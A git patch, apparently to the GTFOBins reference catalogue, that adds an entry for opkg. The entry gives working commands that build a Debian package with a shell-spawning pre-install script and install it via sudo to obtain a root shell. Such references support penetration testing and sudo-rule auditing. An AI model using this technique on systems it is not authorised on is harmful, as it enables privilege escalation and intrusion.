From 3d0d4a76d9c8becc83a058858bc32e46f74f5866 Mon Sep 17 00:00:00 2001 From: 0x0D Date: Sat, 26 Mar 2022 19:59:27 +0100 Subject: [PATCH] Add opkg --- _gtfobins/opkg.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 _gtfobins/opkg.md diff --git a/_gtfobins/opkg.md b/_gtfobins/opkg.md new file mode 100644 index 0000000..199af3e --- /dev/null +++ b/_gtfobins/opkg.md @@ -0,0 +1,13 @@ +--- +functions: + sudo: + - description: | + It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. + ``` + TF=$(mktemp -d) + echo 'exec /bin/sh' > $TF/x.sh + fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF + ``` + code: | + sudo opkg install x_1.0_all.deb +---